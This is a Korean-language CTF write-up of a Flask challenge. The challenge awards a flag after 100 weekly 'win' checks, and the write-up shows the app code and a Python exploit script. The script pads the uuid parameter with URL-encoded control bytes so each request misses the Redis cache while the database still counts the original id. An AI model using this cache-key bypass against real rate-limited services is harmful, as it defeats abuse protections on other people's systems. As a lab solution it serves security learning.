문제 개요

메인 페이지에 들어가면 ID를 발급해준다.
그리고 링크를 타고 들어가면

이 짓을 100번 더하면 된다고 하는데, 다음 시도가 1주일 뒤에 가능하다.
cache 로직을 우회해서 같은 id로 100회 시도하면 성공
코드
app.py
from flask import Flask, request, jsonify, g, Blueprint, Response, redirect
import uuid
from flask_caching import Cache
import os
import mariadb
import datetime
app = Flask(__name__)
# Configure caching (simple in-memory cache)
app.config["CACHE_TYPE"] = "RedisCache"
app.config["CACHE_REDIS_HOST"] = os.getenv("CACHE_REDIS_HOST", "redis")
app.config["CACHE_DEFAULT_TIMEOUT"] = 604800 # Cache expires in 7 days
cache = Cache(app)
def get_db_connection():
try:
conn = mariadb.connect(
host=os.getenv("DATABASE_HOST"),
user=os.getenv("DATABASE_USER"),
password=os.getenv("DATABASE_PASSWORD"),
database=os.getenv("DATABASE_NAME"),
)
return conn
except mariadb.Error as e:
return {"error": str(e)}
# I'm lazy to do this properly, so enjoy this ChatGPT'd run_query function!
def run_query(query, params=None):
conn = get_db_connection()
if isinstance(conn, dict):
return conn
try:
cursor = conn.cursor(dictionary=True)
cursor.execute(query, params or ())
conn.commit()
result = {
"success": True,
"affected_rows": cursor.rowcount,
"result": cursor.fetchall(),
}
return result
except mariadb.Error as e:
print("ERROR:", e, flush=True)
return {"error": str(e)}
finally:
cursor.close()
conn.close()
@app.route("/")
def index():
if "id" not in request.cookies:
unique_id = str(uuid.uuid4())
run_query("INSERT INTO users VALUES (%s, %s);", (unique_id, 0))
else:
unique_id = request.cookies.get("id")
res = run_query("SELECT * FROM users WHERE id = %s;", (unique_id,))
print(res, flush=True)
if "affected_rows" not in res:
print("ERRROR:", res)
return "ERROR"
if res["affected_rows"] == 0:
unique_id = str(uuid.uuid4())
run_query("INSERT INTO users VALUES (%s, %s);", (unique_id, 0))
html = f"""
<!DOCTYPE html>
<html>
<head>
<title>{unique_id}</title>
</head>
<body>
<h1>Your unique account ID: {unique_id}</h1>
<p><a href="/check?uuid={unique_id}">Click here to check if you are a winner!</a></p>
</body>
</html>
"""
r = Response(html)
r.set_cookie("id", unique_id)
return r
def normalize_uuid(uuid: str):
uuid_l = list(uuid)
i = 0
for i in range(len(uuid)):
uuid_l[i] = uuid_l[i].upper()
if uuid_l[i] == "-":
uuid_l.pop(i)
uuid_l.append(" ")
return "".join(uuid_l)
def make_cache_key():
return f"GET_check_uuids:{normalize_uuid(request.args.get('uuid'))}"[:64] # prevent spammers from filling redis cache
check_bp = Blueprint("check_bp", __name__)
@check_bp.route("/check")
@cache.cached(timeout=604800, make_cache_key=make_cache_key)
def check():
user_uuid = request.args.get("uuid")
if not user_uuid:
return {"error": "UUID parameter is required"}, 400
run_query("UPDATE users SET value = value + 1 WHERE id = %s;", (user_uuid,))
res = run_query("SELECT * FROM users WHERE id = %s;", (user_uuid,))
g.cache_hit = False
if "affected_rows" not in res:
print("ERRROR:", res)
return "Error"
if res["affected_rows"] == 0:
return "Invalid account ID"
num_wins = res["result"][0]["value"]
if num_wins >= 100:
return f"""CONGRATS! YOU HAVE WON.............. A FLAG! {os.getenv("FLAG")}"""
return f"""<p>Congrats! You have won! Only {100 - res["result"][0]["value"]} more wins to go.</p>
<p>Next attempt allowed at: {(datetime.datetime.now() + datetime.timedelta(days=7)).isoformat(sep=" ")} UTC</p><p><a href="/">Go back to the homepage</a></p>"""
# Hack to show to the user in the X-Cached header whether or not the response was cached
# How in the world does the flask caching library not support adding this header?????
@check_bp.after_request
def add_cache_header(response):
if hasattr(g, "cache_hit") and not g.cache_hit:
response.headers["X-Cached"] = "MISS"
else:
response.headers["X-Cached"] = "HIT"
g.cache_hit = True
return response
app.register_blueprint(check_bp)
# Debugging use for dev - remove before prod
# @app.route("/clear")
# def clear():
# cache.clear()
# return "cache cleared!"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
풀이
발목을 잡는 부분은 /check 페이지 부분이다.
def make_cache_key():
return f"GET_check_uuids:{normalize_uuid(request.args.get('uuid'))}"[:64] # prevent spammers from filling redis cache
#uuid를 파라미터에서 따온다. 근데 uuid가 36바이트인데 왜 64바이트씩이나?
# cache는 redis를 쓴다.
@check_bp.route("/check")
@cache.cached(timeout=604800, make_cache_key=make_cache_key)
def check():
user_uuid = request.args.get("uuid")
if not user_uuid:
return {"error": "UUID parameter is required"}, 400
run_query("UPDATE users SET value = value + 1 WHERE id = %s;", (user_uuid,)) # 얘는 mariaDB 기반이다.
res = run_query("SELECT * FROM users WHERE id = %s;", (user_uuid,))
g.cache_hit = False
if "affected_rows" not in res:
print("ERRROR:", res)
return "Error"
if res["affected_rows"] == 0:
return "Invalid account ID"
num_wins = res["result"][0]["value"]
if num_wins >= 100:
return f"""CONGRATS! YOU HAVE WON.............. A FLAG! {os.getenv("FLAG")}"""
return f"""<p>Congrats! You have won! Only {100 - res["result"][0]["value"]} more wins to go.</p>
<p>Next attempt allowed at: {(datetime.datetime.now() + datetime.timedelta(days=7)).isoformat(sep=" ")} UTC</p><p><a href="/">Go back to the homepage</a></p>"""
# Hack to show to the user in the X-Cached header whether or not the response was cached
# How in the world does the flask caching library not support adding this header?????
@check_bp.after_request
def add_cache_header(response):
if hasattr(g, "cache_hit") and not g.cache_hit:
response.headers["X-Cached"] = "MISS"
else:
response.headers["X-Cached"] = "HIT"
g.cache_hit = True
return response
cache miss를 유발하려면 다른 id여야 한다. 그런데 id값이 다르면 카운트가 올라가지 않는다.
그러면 mariaDB가 인식 못하는 무언가를 id값에 넣어보면 cache를 피하면서 기존의 id의 카운트를 올릴 수 있지 않을까? 라는 가설
아무래도 가장 인식 못할 것 같은 글자는 null바이트다.


2회 카운트가 됐다. 그러면 null 바이트를 하나씩 붙여가면서 요청하면 100회가..
안된다. cache key에 쓰려고 파라미터를 따올 때 64바이트만 가져온다. 그래서

17회가 최대다. 83회가 모자라다.
그러면 null바이트 말고 뭔가 더 써먹을 수 있을 거다.

대충 찾아보니 %09를 제외하고는 %20까지 문제가 없다. %21부터는 특수문자라 문제가 생길 게 뻔해서 안썼다. (참고로 %09는 TAB이다.)
(그리고 사실 16진수로 0020을 돌려야되는데 10진수로 0020을 돌렸다. 근데 이정도로 충분하길래 냅뒀다.)
이를 참고해서 100가지 이상 요청을 보내는 exploit 코드를 짜면 아래와 같다.
import requests
target = "http://localhost:5000"
# id 따오기
response = requests.get(f"{target}")
id = response.cookies['id']
print(id)
for i in range(1, 7): # 대충 20*6하면 수는 충분하다
for j in range(0, 21):
if j == 9: # 사실 얘도 안써도 상관없다. 에러나도 카운트 안세면 그만이지
continue
fakebytes = f"%{j:02}" * i
url = f"{target}/check?uuid={id}{fakebytes}"
response = requests.get(url, cookies={"id": id})
#print(url)
if "FLAG" in response.text:
print(response.text)
break
else:
continue

이렇게 flag 획득이 가능하다.